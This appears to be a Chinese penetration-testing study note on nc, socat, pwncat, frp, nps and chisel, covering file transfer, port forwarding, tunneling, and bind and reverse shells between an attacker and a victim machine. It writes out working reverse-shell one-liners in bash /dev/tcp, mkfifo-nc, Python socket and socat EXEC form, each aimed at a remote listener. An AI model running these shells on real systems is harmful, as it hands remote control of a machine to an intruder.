nc,socat,frp笔记
nc体积小,功能强大,跨平台,有了nc就不需要telnet了。nc可以完成telnet的所有工作.
socat 和nc相似的瑞士军刀
frp 多用于内网穿透
nc下载
32位比64位更稳定些。
nc
nc可以做什么?
- 传输文本信息(明文
- 传输文件/目录
- 加密传输文件
- 远程控制/木马 —-nc不会被杀毒软件查杀?
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
可以做客户端使用,也可以做服务端。
作为客户端时,不建议直接去解析域名,应该直接连接他的ip地址
-v 显示详细的连接信息
-n 不进行dns
-q 标准输入后等待x秒后退出
-l 开始监听
-p 指定端口
-z 端口扫描
-c 提供shell
nc的弱点:
- 明文传输,容易被嗅探,容易被中间人劫持.
- 缺乏身份验证
nc的升级版–ncat 可以使用ssl加密和允许某个ip连接
传输文本信息
服务端:nc -lvp 1234
客户端:nc -nv ip 1234
利用nc进行收集信息
A服务端:ps -ef|nc -lvp 1234
B客户端:nc -nv ip 1234 > ps.txt
这个是由A服务端传给B客户端
A服务端:nc -lvp 1234 > a.txt
B客户端:ls -l|nc -nv ip 1234
这个是由B客户端发给A服务端
为什么要这样进行因为电子取证的时候,要保护目标机器的原始状态,保证目标机器的文件不被损坏。
传输文件
将B的a.txt文件传给A
1 | A:nc -lp 1234>a.txt |
将A的2.sh文件传给B
1 | A:nc -lp 1234 <2.sh |
加密传输文件
A机器监听端口等待文件上传解密
B机器上的a.nmap加密后传送给A机器
1 | A:nc -lvp 1234|mcrypt --flush -Fbqd -a rijndael-256 -m ecb > b.nmap |
传输目录
将A机器的目录打包后传输给B机器解包
1 | A:tar cvf - ./aaa | nc -lvp 1234 -q 1 |
反向连接,B机器等待A上线发送文件包并解压
1 | A:tar cvf - ./aaa |nc -nv ip 1234 |
加密传输目录
1 | A:nc -lvp 1234|mcrypt --flush -Fbqd -a rijndael-256 -m ecb|tar xvf - |
1 | A:tar cvf - ./Downloads|mcrypt --flush -Fbq -a rijndael-256 -m ecb|nc -lvp 1234 -q 1 |
流媒体服务器
1 | cat 1.mp4|mc -lp |
扫端口
不建议。
1 | nc -nvz ip 1-65535 |
远程控制
正向
A开启监听端口1234 提供bash,等待连接
B 连接上A,B控制A
1 | A:nc -lp 1234 -c bash |
反向
A开启监听端口1234,
B连接A的,并提供shell
A控制B
1 | A:nc -lp 1234 |
为什么要使用反向而不是正向?因为在idc机房中边界一般会有防火墙,通常防火墙一般不会打开一个不常见的端口允许外部的机器来进行连接.所以要使用反向连接,让在防火墙内部的机器去连接外部的机器
反弹shell
1 | A:nv -lvp 1234 |
bash -i 打开一个bash
>& 将标准输出和标准错误输出重定向到了 /dev/tcp/ip/1234 这个远程设备上。
0>&1 代表将标准输入重定向到标准输出,但是标准输出已经被重定向到了远程设备上,所以标准输入也被重定向到了远程设备上。
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 1234 >/tmp/f |
注意:/dev/tcp这个只在bash里有。
hz大佬:所以bash为啥会有这东西啊,(bash果真就搞破坏专用(,自带一堆方便后门的工具(
过于生草..
1 | /bin/bash -c '[email protected]|bash' '' 'echo' 'bash -i &> /dev/tcp/127.0.0.1/4444 0<&1' |
来自文章
python反弹
1 | A:nc -lvp 8888 |
1 | import os,socket,subprocess |
写入到文件中
1 | echo 'import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.69",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'>a.py |
ncat
正向
1 | ncat -c bash --allow 192.168.1.2 -vnl 333 --ssl |
socat
攻击机IP:192.168.2.84
受害机IP:192.168.3.76
简易聊天窗口
服务端
1 | socat - tcp-listen:1234 |
客户端
1 | socat tcp4:192.168.2.84:1234 - |
-
,STDIN
,STDOUT
表示标准输入输出,可以用一个横杠代替。
文件操作
下面的STDIN
表示标准输入和用一个-
效果一样的
服务端通过管道符将cat svmgrsvc.log
的输出作为标准输入传递给socat
1 | cat svmgrsvc.log|socat tcp-listen:1234 STDIN |
客户端
1 | socat tcp4:192.168.2.84:1234 STDOUT |
如果要将服务端传过来的数据保存成文件的话,不能直接使用管道符或者是重定向
1 | socat tcp4:192.168.2.84:1234 file:/tmp/c.txt, |
将程序/脚本输出传递也是一样的啦
服务端
1 | ps -ef|socat tcp-listen:1234 STDIN |
客户端
1 | socat tcp4:192.168.2.84:1234 file:/tmp/f.txt,create |
传输文件
服务端
1 | socat tcp-listen:1234,fork file:/tmp/DidFinish.txt |
客户端
1 | socat tcp4:192.168.2.84:1234 file:/tmp/b.txt,create |
传递目录
服务端
这里tar
的-
也可以替换为STDOUT
1 | tar cvf - ./aaa | socat TCP4-LISTEN:1234 STDIN |
客户端
1 | socat tcp4:192.168.2.84:1234 file:/tmp/f.tar,create |
读写分流
实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。
1 | socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork |
端口转发
1 | socat TCP4-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork TCP4:192.168.3.74:22 |
bind 绑定监听的ip,不对其进行绑定的话则默认为0.0.0.0
Reuseaddr绑定一个本地端口
fork TCP4:<ip address>:<port> 转发到的服务器ip和端口
shell
反向
攻击机执行
1 | socat -d -d TCP4-LISTEN:1234 STDOUT |
受害机执行
1 | socat TCP:192.168.2.84:1233 EXEC:/bin/bash |
这样就打开了一个简易的shell
,但是没有标准错误输出。取决于在受害机上执行的反弹命令
攻击机器执行
1 | socat file:`tty`,raw,echo=0 tcp-listen:1234 |
受害机执行
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.84:1234 |
这样反弹回来的shell,是标准的终端属性。
在受害机上用socat
反弹shell时,只要携带stderr
这个参数,就有标准错误输出了。
1 | socat TCP:192.168.2.84:1233 EXEC:/bin/bash,stderr |
正向
受害机执行
1 | socat TCP-LISTEN:1234 EXEC:/bin/bash |
攻击机执行
1 | socat - TCP:192.168.3.76:1234 |
攻击机收到的shell有没有标准错误输出什么的,这里就取决于受害机的监听命令了 同样,带上个stderr
就好了
1 | socat TCP-LISTEN:1235 EXEC:/bin/bash,stderr |
SOCAT加密传输
创建key
1 | openssl req -newkey rsa:2048 -nodes -keyout atsud0.key -x509 -days 362 -out atsud0.crt |
开启加密监听
1 | socat openssl-listen:1234,cert=atsud0.pem,verify=0 - |
如果监听用的是openssl加密,而客户端则不用的话是不能连接上的。其余用法大致和tcp一样。
客户端
1 | socat - openssl:192.168.2.84:1235,verify=0 |
客户端反弹shell
1 | socat openssl:192.168.2.84:1234,verify=0 exec:/bin/bash,stderr |
socat和nc一起用
socat 监听
1 | socat tcp-listen:1234 - |
用nc反弹shell
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.84 1234 >/tmp/f |
是可以用的。。
socat正向shell
1 | socat TCP-LISTEN:1234 EXEC:/bin/bash,stderr |
Nc 去连接
1 | nc -nv 192.168.2.84 1234 |
这样也是可以的
本节参考链接
pwncat
更加强的netcat。
反向shell
hacker执行
1 | pwncat -l -p 1234 |
victim执行
1 | bash -c 'bash - i>& /dev/tcp/HACKER_IP/1234 0>&1' |
连nc魔术升级都省了。。。
正向shell
victim执行
1 | nc -lvnp 3444 -e /bin/bash |
hacker执行
1 | pwncat 127.0.0.1 3444 |
ssh连接
1 | pwncat -i id_rsa.key ssh://[email protected] |
不仅如此不仅如此,这居然内置了一些功能,比如下载,上传之类的。
下载文件
1 | (remote) pwncat$ Ctrl+D |
上传文件
1 | (remote) pwncat$ Ctrl+D |
获取系统信息
1 | (remote) pwncat$ Ctrl+D |
frp
项目地址:frp
配置文件
服务端:frps,服务端配置修改frps.ini这个文件。完整配置:frps_full.ini
客户端:frpc,客户端配置修改frpc.ini这个文件。完整配置:frpc_full.ini
映射tcp服务
服务端配置
1 | [common] |
客户端配置
1 | [common] |
运行
上诉配置写好之后,直接
1 | #服务端 |
1 | #客户端 |
之后ssh x.x.x.x:10022就可以访问到客户端的ssh服务了。
映射其他的服务也是一样的用法。
配置socks5 proxy代理 实现内网穿透
服务端配置可以不动。
客户端简单修改下
1 | [common] |
之后可以用socks5代理访问到客户端内网中的其他服务。
添加自启
官方项目下载之后的文件夹,有个systemd目录,已经帮你写好了服务了。
以frps为例
1 | cp systemd/frps.service /etc/systemd/system/ |
参考
https://gofrp.org/docs/features/common/network/network/
https://www.anquanke.com/post/id/184855#h3-4
EarthWorm
nps
下载:nps
官方文档:ehang-to.github.io
nps.service
1 | vim /etc/systemd/system/nps.service |
添加以下内容
1 | [Unit] |
1 | systemctl start nps #启动 |
chisel
特别的功能支持:tcp over http
1 |
项目地址:chisel